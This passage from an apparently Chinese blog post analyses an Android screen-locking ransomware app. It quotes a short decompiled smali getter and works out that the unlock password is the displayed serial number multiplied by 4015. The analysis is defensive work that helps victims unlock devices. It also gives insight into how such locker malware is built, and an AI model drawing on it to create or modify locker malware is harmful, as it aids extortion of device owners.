    move-object v0, p0

    move-object v3, v0

    iget-object v3, v3, Lcom/Qinjian/a;->pW:Ljava/lang/String;

    move-object v0, v3

    return-object v0
.end method

它从这个方法中获取了pW变量
因此实锤，pW就是解锁密码
等会，pW这俩字母怎么感觉这么熟悉呢？是passWord的缩写吧？
后知后觉

解锁密码的算法

前面分析的差不多了，在设置Pw变量、和“撸管号”相关的地方就是算法了
并且也能看到其实每一层算法都是固定的，只是下一层重新获取“撸管号”以及计算“撸管号”所对应的解锁密码罢了
所谓的“撸管号”其实就是“序列号”，只是那个作者为了骂人把文本给改了而已
算法：
“撸管号”或“序列号”对4015作乘法运算就是解锁密码
这算法也太草率和随便了罢
关于这个锁机里的其他代码，包括本文中提到的a类里那些未知的有趣调用在这里就不分析了。
主要还是节省篇幅，以及本文的主要目的就是去扒密码算法

后面群里有人有同款的锁机软件，所以看样子这个应该是二改的